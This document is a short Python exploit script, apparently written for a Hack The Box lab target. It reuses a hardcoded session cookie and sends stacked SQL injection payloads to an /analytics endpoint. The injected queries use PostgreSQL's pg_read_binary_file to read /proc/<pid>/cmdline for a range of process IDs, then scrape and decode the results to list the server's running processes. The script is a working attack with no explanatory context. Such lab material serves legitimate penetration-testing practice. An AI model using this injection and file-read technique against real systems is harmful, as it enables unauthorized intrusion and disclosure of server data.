import requests
from bs4 import BeautifulSoup

base_url = 'http://dev-a3f1-01.drip.htb'

s = requests.Session()
s.cookies.set('session', '.eJwljkEKQjEMBe_StYsmpknjZT5NmqAICv_rSry7BXmrNzAwn7LlHse1XF77O05lu81yKe6paIisSiDQua7BWZxthCcxk2kqRUXPAEaaPUQRahB7pZ4kE7SNIUpNbQxGZSepczaWMA2rNOtohMZiZyJqvcXyE9O1rJD3Efu_Btb1Y8_t9bzHYwHxYBqCQNbClq6cYBCLm7iS9wZVppfvD2eMPtg.Z6vM7A.QhGafjK4Vfm14V9fq3hHth-Trrs')

for i in range(1000, 1500):
    data = {
        'query': f"password; select encode(pg_read_binary_file('/proc/{i}/cmdline')::bytea, 'hex')"
    }
    proxies = {
        #'http': 'http://127.0.0.1:8080',
    }

    r = s.post(f'{base_url}/analytics', data=data, proxies=proxies)
    soup = BeautifulSoup(r.text, 'html.parser')
    h = soup.find_all('span', {'class': 'fw-normal'})[0].text
    if h != '5001':
        print(f'Process {i}: {bytes.fromhex(h).decode()}')